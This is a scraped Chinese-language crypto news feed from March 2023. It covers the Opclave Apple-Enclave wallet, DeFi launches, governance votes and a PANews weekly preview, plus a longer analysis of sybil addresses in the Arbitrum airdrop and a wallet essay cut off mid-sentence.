    【英文】新项目前瞻 | Opclave： 如何将 Apple 设备转变为账户抽象支持的硬件钱包？
    Chainfeeds 导读： Opclave 是对 ERC-4337 兼容智能合约账户的 OP Stack 改进，使用与 Apple Enclave 抽象的签名，允许用户创建并使用 Apple Face-ID 与 Touch-ID 的非托管钱包，而无需助记词。本文主要对 Opclave 是什么及其是如何实现的进行了概述。 文章来源： https://ethglobal.com/showcase/opclave-opstack-impr-erc4337-and-apple-sign-94def 文章作者： Opclave 观点： Opclave：Apple Secure Enclave 是 Apple 芯片系统中实现的一个子系统，与主处理器隔离，为用户的重要数据创建了一个隔离的安全区域，它还有一个公钥加速器，能够让开发人员在 Secure Enclave 中构建非对称密码学操作。Secure Enclave 是一个很好的安全解决方案，可以实现钱包，并通过签名抽象出账户，且只能通过 Apple Face-ID 与 Touch-ID 来达成。【原文为英文】 内容来源 Opclave：但存在一个问题，Secure Enclave 只支持 secp256r1 曲线，而以太坊支持 secp256k1 曲线。所以需要定制解决方案以实现 Apple 签名到区块链。因此我们决定配置 Op Stack，为 secp256r1 实现一个预编译验证器。但仍存在很多问题导致用户体验不佳，因此 Opclave 实施了各种账户抽象功能，包括社交恢复、批量处理、支持 ERC20 代币支付、每日支出限额等。【原文为英文】 内容来源 Opclave：Opclave 产品有 4 个主要部分：1）智能合约：与 ERC-4337 账户抽象标准兼容，使用 Solidity 开发，受益于 Foundry 和 Ethers 工具；2）移动开发：包括两个主要部分，第一部分是用 Swift 语言编写的签名管理器，第二部分是用 React Native 框架编写的钱包界面；3）Rollup 式开发：Opclave 运行在我们自定义的 OP Stack Rollup 中；4）后台开发：实现了用 Typescript 编写的服务，bundler 和 paymaster 软件单独运行。【原文为英文】 内容来源  ( 31 min )
    银行业危机导致两周内超过 2860 亿美元流向货币市场基金
    银行业危机导致两周内超过 2860 亿美元流向货币市场基金 据 Cointelegraph 援引英国《金融时报》获得的新兴投资组合基金研究（EPFR）数据显示，银行业危机导致许多投资者在过去两周轮换其投资组合，3 月迄今已向美国货币市场基金注入超过 2860 亿美元资金，其中获得最多资金注入的货币市场基金是高盛、摩根大通和富达。英国《金融时报》称，高盛的货币基金已收到 520 亿美元资金，增长 13%，而摩根大通的资金流入近 460 亿美元，富达基金流入近 370 亿美元。是自 Covid-19 爆发以来，月流入量最大的一次。 内容来源  ( 54 min )
    基于 Cosmos 的 DeFi 协议 Quasar Finance 主网现已上线
    基于 Cosmos 的 DeFi 协议 Quasar Finance 主网现已上线 基于 Cosmos 的 DeFi 协议 Quasar Finance 主网现已上线，用户可访问跨链金库 OSMO PRO 与多个 Osmosis 流动性池，该金库将自动复合收益。Quasar 金库允许用户通过结合与自动化其他各种 Cosmos 协议产品来访问跨链间 DeFi，将按期推出 Osmosis。OSMO PRO 使用单边存款以进入三个不同的 Osmosis 池：OSMO-ATOM、OSMO-USDC、OSMO-stOSMO，用户只需存入 OSMO 而无需其他操作，金库将自动处理。OSMO PRO 金库初始存款总额上限为 50 万枚 OSMO，该上限将逐渐增加并最终取消，取决于治理情况。从金库产生的奖励来自四个不同的来源：流动性池通过交易费产生的收益、Osmosis 激励、外部激励、对金库早期采用者的 Quasar 激励。QSR 代币计划于 2023 年第二季度推出，用户此时无需持有任何 QSR 即可使用第一个 Interchain 保险库，在此之前 Quasar 上的 Gas 费以 OSMO 支付。 内容来源  ( 3 min )
    Base：生态系统基金将支持稳定币、链上声誉平台、链上限价定单簿交易所及更安全的 DeFi 四大方向
    Base：生态系统基金将支持稳定币、链上声誉平台、链上限价定单簿交易所及更安全的 DeFi 四大方向 Coinbase 以太坊 Layer2 网络 Base 宣布 Base 生态系统基金支持的四大方向：追踪通过膨胀率的稳定币（flatcoins）；链上声誉平台、链上限价定单簿（LOB）交易所及更安全的 DeFi，包括可以防止智能合约代码漏洞或协议逻辑错误的工具，以及最终的链上保险和保险协议，或任何其他在智能合约失败时可以为用户提供关键支持的产品。 此前消息，Coinbase 在推出以太坊 Layer2 网络 Base 测试网的同时成立了 Base 生态系统基金，以在种子前阶段对基于 Base 的公司和组织进行投资。 内容来源 观点： Base：我们对 flatcoins 很感兴趣，不限于正在探索自己的稳定币系统的团队，也包括专注于提高现有系统采用率方法的团队，例如 Reflexer/RAI、Spot/Ampleforth、Frax/FPIS、Olympus DAO 等。我们还希望可以看到深入思考声誉和信用在链上的原生方式的团队，及如何利用这些系统保护用户隐私和主权。此外，Base 的高吞吐量为设计新的现货交易、限价单、期权等机制提供了新机会。且构建者可以使用 OP Stack 这样的开源工具来构建 L3。【原文为英文】 内容来源  ( 9 min )
    知情人士：中国交通银行、中国银行、上海浦发银行香港分行或将向加密公司提供银行服务
    知情人士：中国交通银行、中国银行、上海浦发银行香港分行或将向加密公司提供银行服务 据彭博社援引知情人士称，中国交通银行、中国银行、上海浦发银行香港分行已经开始向当地加密货币公司提供银行服务，或已经对该领域进行调查、讨论内部信息。知情人士称，其中一家中国银行销售代表至少一次前往过一家加密货币公司的办公室，推销其服务。 内容来源  ( 2 min )
    Aave 社区关于在 ZkEVM 主网上部署 Aave V3 MVP 版本的 ARFC 提案开启投票
    Aave 社区关于在 ZkEVM 主网上部署 Aave V3 MVP 版本的 ARFC 提案开启投票 Aave 社区关于在 ZkEVM 主网上部署 Aave V3 MVP 版本的 ARFC 提案开启投票，该提案被视为「温度检查（ Temp check）」，允许开发和风险服务提供商对 zkEVM 网络进行更深入的分析。提案表示，zkEVM 为 EVM 等效，因此部署 Aave V3 需要的开发工作很少，但这种最低限度的 Aave V3 部署，应该限制资产入驻，并设置保守的风险参数，因此该提案只建议入驻三个抵押品（WETH、WMATIC 和 USDC）及一个可借资产（USDC）。该提案将于 3 月 29 日 18:00 结束投票。 内容来源 观点： Marc Zeller：ZkEVM 是由 Polygon 团队开发的 EVM 等效 zk-rollup L2，预计将于 3 月 27 日部署。Aave V3 已经在 ZkEVM 测试网上成功部署了约 6 个月（自 2022 年 10 月起）。【原文为英文】 内容来源

  • Open

    提供ARB流动性收益哪家强？Kyber、Traderjoe、Uniswap、Camelot LP收益率对比
    提供ARB流动性收益哪家强？Kyber、Traderjoe、Uniswap、Camelot LP收益率对比 – 深潮TechFlow 撰写：DeFi Made Here Read the full entry  ( 3 min )
    提供ARB流动性收益哪家强？Kyber、Traderjoe、Uniswap、Camelot LP收益率对比
    提供ARB流动性收益哪家强？Kyber、Traderjoe、Uniswap、Camelot LP收益率对比 – 深潮TechFlow 撰写：DeFi Made Here Read the full entry  ( 3 min )
    解密 Etherscan：年赚千万美元，区块链浏览器背后的生意经
    解密 Etherscan：年赚千万美元，区块链浏览器背后的生意经 – 深潮TechFlow 撰写：Launchy Read the full entry  ( 5 min )
    解密 Etherscan：年赚千万美元，区块链浏览器背后的生意经
    解密 Etherscan：年赚千万美元，区块链浏览器背后的生意经 – 深潮TechFlow 撰写：Launchy Read the full entry  ( 5 min )

  • Open

    Coinbase CEO：需要改善政策环境，但打造更好的产品仍为主要目标
    PANews 3月27日消息，Coinbase首席执行官Brian Armstrong推特发文称，“美国证券交易委员会（SEC）发出的韦尔斯通知极大地鼓舞了士气。尽管有共同的目标很好，但永远不要忘记我们的主要目标是为客户打造更好的产品。改善政策环境是必要的，但还不够”。  ( 4 min )
    A&T Capital：于隽正接受有关单位调查，公司内部已成立独立调查组
    PANews 3月27日消息，据官方消息，A&T Capital在推特发文称，于隽先生目前正面临一些个人问题，这些问题正在接受调查。对于任何不道德或违法的行为，A&T Capital坚决采取零容忍态度。虽然于隽已不在A&T任职，A&T Capital将全力配合有关单位调查，密切关注调查进展和结果，等待司法程序公正的判决。 同时，A&T内部由创始合伙人Jasmine牵头成立独立调查组，对此事全过程进行全面调查，会向全体员工公布调查结果。如果有违反职场道德行为的情况，严肃处理。于隽先生曾代表我们的一位出资人，任职于A&T Capital。他已经从投资者的公司辞去了职务。因此，于先生将不再参与A&T Capital的任何事务，也不再代表本基金。这一变动将不会影响本基金的运营。  ( 4 min )
    一周预告 | Polygon zkEVM主网Beta版将上线；PANews PARTY AWARD 2023公布评选结果
    要闻预告： 更多一周预告请点击下载PANews APP，关注PANews推出的事件日历活动板块，在PANews随时随地阅读更多区块链即时快讯和深度好文。 政策监管： 央行将于3月27日下调金融机构存款准备金率0.25个百分点 中国人民银行决定于2023年3月27日降低金融机构存款准备金率0.25个百分点（不含已执行5%存款准备金率的金融机构）。本次下调后，金融机构加权平均存款准备金率约为7.6%。 项目动态： Helium将于3月27日开始迁移至Solana Helium基金会发文称，Helium Network将从3月27日开始迁移至Solana区块链。为了确保平稳过渡，Helium基金会正在组建由社区志愿者组成的升级准备工作小组来监督迁移过程。此次升级将包括所有钱包、热点设备（Hotspots）和Helium网络状态，并将在24小时的过渡期内进行，大约从北京时间3月27日23:00开始。现有的Helium区块链将在3月27日的24小时过渡期内停止运行。数据传输和Proof-of-Coverage活动将不受影响。 EOS EVM最终测试网将于3月27日上线 EOS网络基金会创始人和首席执行官Yves La Rose发推称，EOS EVM最终测试网发布时间为3月27日，主网Beta发布时间为4月14日。 Polygon zkEVM主网Beta版定于3月27日上线 以太坊扩展项目 Polygon 选择 3 月 27 日作为其零知识以太坊虚拟机 (zkEVM) 测试版主网络上线的日期。Polygon 没有具体说明测试版网络将包含哪些内容，但表示该团队将在未来几周内发布更多细节。根据博客文章，自测试网上线以来，已经生成了超过 75,000 个 ZK 证明，并部署了 5,000 个智能合约。 百度文心一言云服务将于3月27日上线 百度宣布，文心一言云服务将于3月27日14:00上线。据悉，目前已经有包括互联网、媒体、金融、保险、汽车、企业软件等行业的400多家头部企业宣布加入百度“文心一言”生态。 Metamask将于3月27日上线其质押市场 Web3 钱包 Metamask 的机构版本今天公布了其与 Kiln、Blockdaemon 和 Allnodes 合作的质押市场。该平台将于 3 月 27 日上线，使希望深入研究质押的公司能够访问具有针对四个不同质押提供商的标准化条款和条件的产品。这些产品包括 Kiln、Blockdaemon、Allnodes 和 ConsenSys Staking。 NFT项目y00ts将从3月27日开始迁移至Polygon，24小时内迁移将获奖励 NFT项目y00ts表示将于3月27日起迁移至Polygon，用户可直接从官方网站迁移。为鼓励用户尽快迁移，在24小时内完成迁移将获得奖励。Gas费由Magic Eden提供，质押也将免费。 此外团队表示，为专注于EVM，y00ts团队将不再在Solana上进一步开发y00ts/DeGods。DeGods将于3月31日迁移至以太坊，详细信息将在之后公布。 交易所： Kraken：将从3月27日起暂停ACH存取款功能 加密交易所Kraken将从3月27日起暂停自动清算中心(ACH)的存取款功能。在Silvergate Bank倒闭后，该公司正在寻找新的银行合作伙伴。Kraken表示，其他服务不会受到这一变化的影响。一旦找到替代银行，该交易所将恢复ACH存取款服务。 项目动态： 美国法院已将Binance.US收购Voyager交易的行政执行延至3月28日 Voyager无担保债权人委员会（Voyager UCC）在推特上透露，美国政府此前已提出动议，寻求永久“中止”Voyager的第11章计划生效，而且表示无论Voyager是否推进Binance.US的收购交易都将继续上诉并寻求“中止”该交易。 ConsenSys的zkEVM测试网将于3月28日上线 以太坊基础设施开发公司 ConsenSys 将于 3 月 28 日推出零知识以太坊虚拟机 (zkEVM) 公共测试网。其私人测试网已经处理了超过 350,000 笔交易。ConsenSys 尚未确定他们的 zkEVM 何时退出测试网阶段，但 ConsenSys 研发主管兼 ZK 业务集团负责人 Nicolas Liochon表示应该在 2023 年底前完成。此前1月份报道，ConsenSys的zkEVM测试网已向100名选定用户开放私人测试版本。但现在开放给任何人加入。 社区活动： 第三届PANews PARTY AWARD年度评选结果将于3月28日公布 PANews PARTY AWARD 2023将于3月2日至3月23日开启评选投票。经数据初选、公开征集及社区推荐，目前已收到了超过190条报名信息，有行业巨头，也有Web3新星，目前参评申请还在继续。最终评选结果将于3月28日公布。 交易所： Coinbase将从3月29日起暂停Algorand质押奖励 加密交易所Coinbase (COIN)周三告知其客户，从3月29日起，它将不再提供Algorand代币（ALGO）质押奖励。该代币仍可用于交易。Coinbase发言人没有给出终止Algorand奖励的原因，但在一封电子邮件中表示，“截至3月31日的Algorand治理期的所有奖励将在4月初支付”。Coinbase发言人称：“Coinbase与资产发行人合作提供奖励，并不断重新评估我们的产品以确保最佳的客户体验。我们决定此时停止Algorand (ALGO)奖励”。 Coinbase将于3月29日完成对XTZ、ATOM、SOL和ADA的质押服务升级 Coinbase发布关于3月10日XTZ、ATOM、SOL和ADA质押服务计划升级的更新，在3月24日到3月28日之间，客户将看到他们的XTZ、ATOM、SOL和ADA余额转移到“收益余额”，这代表了质押资金。在3月29日升级完成之前，客户将暂时无法取消质押这些资产或质押更多资金。升级完成后，质押和解除质押将恢复。在升级过程中，用户将继续获得奖励，升级期结束后将恢复付款。 项目动态： Solana生态NFT市场Formfunction宣布于3月29日关闭 Solana生态NFT市场Formfunction宣布将于3月29日关闭，用户仍然拥有NFT的完全所有权。Formfunction称：“经过多方讨论和慎重考虑，我们得出的结论是不能继续运行Formfunction。我们将继续维护 Formfunction 直到3月29日。该日期之后，用户将无法再访问我们的网站。” 治理投票： Safe关于“未申领空投重新分配”的提案正在投票，3月29日截止 数字资产管理平台Safe（原Gnosis Safe）治理社区SafeDAO关于未申领SAFE空投重新分配的提案SEP#5将于今日23:01时开放投票，并将于3月29日截止。此前，Safe向用户共计空投占总发行量5%（即5000万枚）SAFE代币，其中17,799,818枚已由用户主动申领。本次投票涉及剩余超3220万枚Safe代币的归属方式。3月15日消息，该提案已通过论坛讨论阶段，将转移到快照投票阶段。 项目动态： Avalanche将于3月30日晚11点激活Fuji测试网Cortina升级 据官方博客，Avalanche宣布将于3月27日在Fuji测试网上发布 Avalanche Cortina升级的预发布代码，Fuji测试网Cortina升级将于北京时间3月30日23:00激活。在Fuji测试网上的Cortina升级成功之前，将公布Avalanche主网激活时间，并发布官方Cortina AvalancheGo版本 (v1.10.0)。 治理投票： ApeCoin发起提案拟推出两款新NFT系列，投票将于3月30日结束 据ApeCoin论坛显示，社区已发起AIP-206提案拟推出两款新NFT系列“Ape Coin Armory Club NFT”和“Ape Coin Pet Club NFT”，该提案显示这两个系列将分别发行2万枚NFT，旨在激励APE持有者并拓展到更广泛的Yuga Labs生态中的元宇宙社区。另据Snapchat数据显示，该提案的投票结束时间为3月30日。 项目动态： 日本金融巨头SBI拟100%股权收购HashHub，股权转让预计3月31日完成 日本金融服务巨头SBI Holdings与HashHub现有股东签订股权转让协议，股权转让完成后，HashHub将成为SBI Holdings的合并子公司。本次股权转让完成（预计3月31日）后，预计SBI Holdings对HashHub的持股比例为100%。据悉，HashHub成立于2018年4月，经营加密资产借贷服务HashHub Lending和加密资产研究报告业务HashHub Research。 去中心化交易所Orca将从3月31日开始阻止美国用户使用其网络界面进行交易 Solana生态去中心化交易所Orca宣布，将从3月31日开始阻止所有美国用户使用其网络界面进行交易。 Orca强调，直接与Orca智能合约交互的美国人不会受到这一变化的影响。报道称，未在美国获得许可的中心化加密货币交易所经常屏蔽美国用户以避免激怒该国监管机构，但大多数去中心化交易所并没有效仿，只有少数例外。 马斯克：推特将于3月31日开源所有用于推荐推文的代码 马斯克推特发文称，推特将于3月31日开源所有用于推荐推文的代码。我们的“算法”过于复杂，内部未完全理解。但一旦发现问题，我们会立刻进行修补。我们正在开发一种简化的方法来提供更有吸引力的推文，但该项工作仍在进行中。这也将是开源的。 Doodles 2可穿戴设备NFT“Genesis Box”将于3月31日开图 NFT项目Doodles宣布Doodles 2可穿戴设备NFT“Genesis Box”将于3月31日开图。Doodles此前表示，所有Genesis Box都将包含稀有物品，可能包含独家物品、Beta通行证等。 政策监管： 俄罗斯央行将于4月1日启动数字卢布真实交易试点项目 俄罗斯央行第一副行长 Olga Skorobogatova 在金融网络安全论坛期间表示，从 2023 年 4 月 1 日起，俄罗斯银行将启动一个由 13 家银行和多家商户参与的数字卢布（CBDC）真实交易试点项目。交易涉及个人转账以及贸易和服务企业的支付，该13 家银行通过了所有测试——包括技术和运营方面的测试。监管机构预计他们将在 4 月 1 日与他们确定的客户一起进入试点项目。 项目动态： Uniswap V3核心代码版权商业保护将于4月1日到期 Uniswap V3在2021年5月5日上线以太坊主网前为其核心代码申请了为期 2 年的版权商业保护，该保护在两年内限制 Uniswap V3 核心代码的不当商业使用，该保护期将于4月1日正式结束。此前Uniswap表示，可以通过协议治理更改其版权保护限制，可以通过治理提前从Business Source License 1.1转为 GPL 许可。 BlockFi：债权人现可提交索赔证明，将于4月1日截止 已申请破产的加密借贷公司BlockFi今日发推文称：“从今天开始，BlockFi客户将通过邮件和/或电子邮件从BlockFi的索赔代理Kroll收到有关索赔流程证明的重要信息。提交索赔证明的截止日期为EST时间2023年3月31日17:00（北京时间4月1日06:00）。”目前债务人已经建立了一个提出索赔的门户网站，债权人可通过该门户网站提交索赔证明，也可通过平邮或快递的形式提交索赔证明，但不接受电子邮件投递。  ( 6 min )
    Avalanche C链目前已恢复出块，停止出块时间约为80分钟
    PANews 3月26日消息，根据浏览器数据显示，Avalanche C链目前已恢复出块，停止出块时间约为80分钟。  ( 4 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.26）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    Arbitrum空投研究：存在四大漏洞，女巫地址获利超21%空投代币
    作者|X-explore 编辑|Colin Wu 本文由 X-explore 和吴说区块链联合发布。 期待已久的 Arbitrum 终于发布了空投消息，随后，他们还公布了检查女巫地址的规则。 根据描述的规则，我们可以推断出项目方： 1. 在检测女巫时排除了跨链桥、中心化交易所和智能合约 2. 对小规模和相同个人地址采取了相对宽容的检测方式 3. 只使用了快照（2023年2月6日）之前的数据进行女巫检测 4. 只使用 Arbitrum 和 Ethereum 的数据进行女巫检测，而忽略了其他 Ethereum L2 的数据，如 Optimism 和 Polygon。 我们发现，上述的女巫检测规则会造成很大的漏洞。在撸空投团体和项目方的多次对抗后，他们经常大规模地使用交易所来存取资金。这将导致他们不被排除在 Aribtrum 的空投之外。 通过我们内部的同人/女巫地址识别模型，我们成功识别了超过 279,328 个同人地址和 148,595 个女巫地址，这些地址收到了空投。 同人地址指的是由同一个实体控制的地址。我们在由所有 624,136 个空投的 EOA 地址组成的子图上运行 Louvain 社区检测算法（顺便说一下，还有 1007 个收到空投的合同地址，我们将在后面披露）。结果显示，共有 279,328 个地址形成了 60,000 多个社区。由于同一社区的个人地址有频繁的资金转移，他们被视为同人地址。他们约占 5.57 亿个 token 或 Arbitrum 空投 token 总量的 47.96%。 下面是同人地址组规模及其对应的地址数的分布。从下图中我们可以看出，在这次 Arbitrum 空投事件中，有大量的小规模同人社区获得了 token 。 以下是同人地址组大小及其相应的可领取 token 的分布情况（单位：token）。 女巫地址 我们进一步检查了这些同人地址，并建立了最严格的筛选标准来识别其中的女巫地址。共有 148,595 个女巫地址收到空投。他们约占 2.53 亿 Arb 或空投 token 总数的 21.8%。女巫地址的构成来自两部分： 1. 有大量同人地址的社区 2. 以太坊上的 X-explore 和多个以太坊 L2（Arbitrum、Optimism 等）识别的高可信度的女巫地址 为了对抗女巫检测，撸空投团体使用跨链桥、中心化交易所和智能合约来防止大量地址之间的直接连接，并使每个地址尽可能独立以逃避女巫检测。在 Arbitrum 的女巫剔除中，项目方还删除了实体地址，如跨链桥、交易所和智能合约。根据我们的分析，一些撸空投团队成功反击了检测规则，大量的地址收到了这次空投。 地址超过 250 个的 CEX 女巫识别的例子。 1. 2022 年 8 月 24 日至 8 月 28 日期间，共有 2997 个收到空投的地址从 Binance 交易所（0xb38e8c17e38363af6ebdcb3dae12e0243582891d）提取资金。提款金额非常一致，在 0.00114 和 0.00116 ETH 之间（约 2 美元）。这些地址共收到 183 万个空投 token 。 2. 在 2022 年 6 月 3 日和 6 月 4 日之间，共有 1001 个收到空投的地址从 FTX 交易所提取资金（0xa60113f7d43130919802b0863abdcdb956664fd5）。提款金额非常一致，在 0.0022 和 0.0023 ETH之间（约 4 美元）。这些地址共收到 104 万个空投 token 。 3. 2022 年 11 月 27 日至 11 月 30 日期间，共有 645 个收到空投的地址从 Binance（0xb38e8c17e38363af6ebdcb3dae12e0243582891d）提取资金。提款金额非常一致，为0.05 ETH（约 9 美元）。这些地址共收到 70 万个空投 token 。 4. 在 2022 年 10 月 29 日至 11 月 1 日期间，共有 1035 个收到空投的地址从 Binance（0xb38e8c17e38363af6ebdcb3dae12e0243582891d）提取资金。提款金额非常一致，为 0.003 ETH（约 5 美元）。这些地址共收到 98 万个空投 token 。 5. 2023 年 2 月 6 日，294 个收到空投的地址从 Binance（0xb38e8c17e38363af6ebdcb3dae12e0243582891d）提取资金。提款金额非常一致，为0.0008 ETH（约 1.5 美元）。这些地址共收到 29.1 万个空投 token 。 6. 2022 年 12 月 12 日，273 个收到空投的地址从 Binance（0xb38e8c17e38363af6ebdcb3dae12e0243582891d）提取资金。提款金额非常一致，为0.0095 ETH（约 17 美元）。这些地址共收到 24.2 万个空投 token 。 7. 2022 年 8 月 19 日，261 个收到空投的地址从 FTX 交易所提取了资金（0xa60113f7d43130919802b0863abdcdb956664fd5）。而且提取的资金数额非常一致，为0.003 ETH（约 5 美元）。这些地址共收到 18.9 万个 token 。 我们进一步取出了这些从 FTX 交易所提币的女巫地址。除了资金数量一致外，它们还有非常一致的智能合约调用。 注：图中的节点表示地址，边表示地址之间的交互。 案例2：跨链桥女巫 例子如下： 1. 在 2022 年 11 月 02 日至 11 月 07 日期间，共有 1114 个接收空投的地址通过 HOP 桥（0x33ceb27b39d2bb7d2e61f7564d3df29344020417）跨链到 Arbitrum。存款金额非常一致，这些地址总共收到了 108 万个 token 。 案例3：智能合约女巫 地址 0x922008a118feff7fb017ee67eb3b02371e559999 通过 Disperse 合约将资金存入 1,274 个空投地址。存款金额非常一致，为 0.0005 ETH（约 8 美元）。这些地址共收到 105.9 万个 token。 类似的，通过 Disperse 合约（一个地址将资金存入 50 个不同的空投地址）避免直接连接的女巫地址数量为 9483 个。这些地址总共收到了 1098 万个 token 。 案例4：快照后的女巫资金归集 我们从这种类型的女巫中选择了一个有代表性的例子。示例女巫总共有 198 个地址，并获得了 174,375 个 token。虽然这些地址具有明显的归集行为，但由于收集行为发生在快照之后，因此没有将它们排除在空投地址之外。 案例5：其他链上的女巫（Optimism） 我们已经选择了一个代表这种女巫的例子。示例女巫总共包含 202 个地址，并获得了 204,250 个 token。这些地址在 Arb 上也有非常相似的交易记录，但交易金额和时间略有不同，所以他们没有被识别为女巫。然而，他们在 OP 上也有相同的交易记录。值得一提的是，X-explore不仅可以在 Arbitrum 上识别女巫地址，还支持以太坊、Optimism 等以太坊 L2。 我们可以推断，Arbitrum 制定的规则并没有有效地防止以下四种类型的女巫： ●地址少于 20 个的女巫 ●通过交易所、跨链桥接、智能合约存取款的女巫 ●快照后具有明显的 NFT 或资金归集行为的女巫 ●在其他链上具有明显批处理行为的女巫，如 OP，以太坊 智能合约接收空投： 当我们调查女巫时，我们还发现了一些有趣的例子。此次 ARB 空投的获胜者不仅是 EOA（即普通地址），而且一些合约地址也收到了空投。共有 1007 个合约地址收到空投，收到的 ARB token 总数约为 100 万个。 例子: 0x8c44c0ab9a15bacad7a4b663a89593c406c6b4ea 0x44e4c3668552033419520be229cd9df0c35c4417 0x6e87672e547d40285c8fdce1139de4bc7cbf2127 0x8585a10f59fd4dd6e7d5e19254d5a791dc25f3f4 女巫识别一直是项目方的烫手山芋。项目方一方面需要撸空投大军来支撑项目的热度，另一方面又要承担女巫获利的风险以及女巫套现后市场暴跌的风险。根据 X-explore 的估计，空投中包含约 15 万个女巫地址和至少 4000 个女巫社区，女巫地址的总利润超过 2.53 亿个 token。 此外据 @BitcoinEmber 统计，撸毛大户（工作室）正从有空投资格的大量地址领取并归集 $ARB，0xe1...ab6e 从超 1200 个地址归集了 210 万 $ARB （3.2M）；0x77...195c 从 1375 个地址归集了 119 万 $ARB （1.81M）; 0xbd...9dcb 从 630 个地址归集了 93 万 $ARB （1.41M）。  ( 6 min )
    ApeCoin发起提案拟推出两款新NFT系列，目前反对票占优
    PANews 3月26日消息，据ApeCoin论坛显示，社区已发起AIP-206提案拟推出两款新NFT系列“Ape Coin Armory Club NFT”和“Ape Coin Pet Club NFT”，该提案显示这两个系列将分别发行2万枚NFT，旨在激励APE持有者并拓展到更广泛的Yuga Labs生态中的元宇宙社区。另据Snapchat数据显示，该提案的投票结束时间为3月30日，当前反对票占比达到83.57%，赞成票比例为9.8%，弃权6.63%。  ( 4 min )
    数据：ETH 2.0存款合约总价值超过300亿美元
    PANews 3月26日消息，据Glassnode数据显示，ETH 2.0存款合约总价值超过300亿美元，当前为30,047,228,329美元。  ( 4 min )
    Avalanche C链疑似已停止出块，目前停止25分钟
    PANews 3月26日消息，据Chainbase监测，Avalanche C链已于25分钟前停止出块，最后区块高度为27925928。 此前3月23日消息，Avalanche C链疑似已停止出块一个多小时。  ( 4 min )
    Su Zhu等人创办的加密索赔交易平台OPNX预计将于一个月后上线索赔交易功能
    PANews 3月26日消息，三箭资本创始人Su Zhu等人创办的加密索赔交易平台Open Exchange（OPNX）的索赔交易功能预计一个月后上线。Open Exchange首席执行官Leslie Lamb表示，当索赔交易功能端推出时，将要求用户支付前期费用并经过多步流程才能看到资金， Leslie Lamb未透露费用结构。 此前消息，三箭资本创始人推出的债权交易市场OPNX已注册超3600人。  ( 4 min )
    Ava Labs创始人：从现在起三到五年内，大量Layer1区块链将被淘汰
    PANews 3月26日消息，据TechCrunch报道，Ava Labs创始人兼首席执行官Emin Gün Sirer在接受采访时表示，加密生态系统中涌现出许多Layer1区块链，但从现在起三到五年内，大量的Layer1区块链将被淘汰。我认为我们已经有太多的Layer1，但多以抄袭为主。此外，Gün Sirer指出，Layer1必须是去中心化的、安全的和快速的。  ( 4 min )
    Base生态基金公布四大支持方向，包括DeFi和链上声誉平台等
    PANews 3月26日消息，Coinbase的Layer2网络Base公布其生态基金支持的四大方向，分别为：可跟踪通货膨胀率的稳定币；链上声誉平台；链上限价订单簿（LOB）交易平台；更安全的DeFi，包括可以防止智能合约代码漏洞或协议逻辑错误的工具，以及链上保险和保险协议等。  ( 4 min )
    Do Kwon将对法院延长拘留时间的决定提出上诉
    PANews 3月26日消息，据Cointelegraph报道，Terraform Labs联合创始人Do Kwon因试图使用伪造文件在黑山被捕后，将对法院的拘留时间延长最多30天的决定提出上诉。据悉，虽然黑山当局通常会规定最长72小时的拘留，但法院认为，Do Kwon是身份不明的外国人，在检察官强调越狱的可能性很大后，Do Kwon的30天延长期获得批准。  ( 4 min )
    Coinbase开始向美国大选中支持加密货币的候选人捐款
    PANews 3月26日消息，据Watcher.guru报道，Coinbase首席执行官Brian Armstrong表示，Coinbase打算在美国大选中开始向支持加密货币的候选人捐款。 Armstrong敦促用户选出支持加密货币的候选人。此外还指出，Coinbase将努力组织加密货币用户，以支持可能对整个行业产生积极影响的候选人。据悉，该声明是在公司收到SEC的韦尔斯通知后的第二天发布的。  ( 4 min )
    Web3钱包的下一站：为什么看好无助记词钱包赛道？
    作者：Zoe Zhou 根据 statista.com 数据显示，截至 2022 年 11 月，数字钱包用户数已达 8500 万（YOY~6.3%）。数字钱包作为 Web3.0 的入口，已处于熊市建设期间的热点风口。它的用户体验和安全性直接影响加密货币及其应用在何时被大规模采用。 “拥有数字资产的前提是完全真实地掌握自己的私钥。” 自托管数字钱包虽然安全，但助记词和私钥比传统的 Web2.0 入口——“用户名-密码” 要复杂得多。根据 Chainalysis 在 2021 年的一份报告，大约有 20% 的比特币丢失是因为其所有者不记得私钥。FTX 倒闭等无数次黑客攻击和安全事件不断引起业界的关注。 在以太坊上，有两种基本的账户类型： EOA 账户（Externally Owned Account）：一个 EOA 的每个唯一私钥应该通过 12 个唯一的助记词推导出来。目前主流的 dApp 钱包大多为 EOA 钱包，如 Metamask、Phantom（Solana）、BSC Wallet（BSC）、Keplr（Cosmos）等，这类钱包不可编程。 合约账户（Contract Account，通过 EOA 账户部署在链上的智能合约）：是一段通过 EOA 账户部署在链上的可编程 EVM 代码，只能被 EOA 账户调用。 总之，每个账户都由唯一的私钥确定，但机制存在缺陷，即私钥的遗忘、丢失和泄露会造成不可逆的数字资产损失。 目前主流的两种解决方案取得了重大进展，即无助记词的加密钱包：智能合约钱包（包括多重签名钱包）和多方计算（MPC）钱包。 智能合约钱包是使用特定的 EOA 账户管理链上资产的智能合约，可以支持进一步的编程。例如，多重签名钱包是一种智能合约钱包，需要 M-of-N 密钥的签名才能批准交易。这种方法可以增强钱包的安全性，因为它要求多个密钥控制资产，而不是只有一个私钥。 近期，由于 EIP-4337 提案取得重大进展，以太坊中不需要共识层协议更改的账户抽象、智能合约钱包再次成为热门话题。账户抽象所做的是解耦签名者和账户之间的关系，结合 CA 的可编程性和 EOA 主动发起交易的能力。因此，用户可以自定义内部逻辑，而无需从共识层或底层进行改进。 在过去，由于技术限制和共识协议层的复杂性，很多关于账户抽象的提案都被搁置了。然而，随着以太坊的发展和技术进步，账户抽象已经成为可能，这将为智能合约钱包等新型钱包带来更多的发展空间。 EIP-4337 的主要目标是将签名验证、gas 支付和重放保护等关键功能从以太坊的核心协议中分离出来，放到智能合约中执行。这样，具有任意验证逻辑的智能合约钱包可以作为主账户，而不需要进行任何共识层协议的修改。验证器、MEV 搜索器或应用程序本身可以从 UserOperations 池中获取交易，并将其转发到区块链以支付费用。这个提案的主要优势是减少了以太坊核心协议的复杂性，同时提高了灵活性和可扩展性。 EIP-4337 还存在一些兼容性和验证过程方面的问题，因此需要时间来完善。另外，引入新的合约机制和功能模块可能会带来新的合约风险和增加 gas 费用等问题。因此，对于账户抽象钱包的应用开发，观望阶段是必要的。不过，随着时间的推移和技术的不断进步，这种钱包形式有望在未来得到广泛应用和推广。 论文《Two-Party ECDSA from Hash Proof Systems and Efficient Instantiations 》将 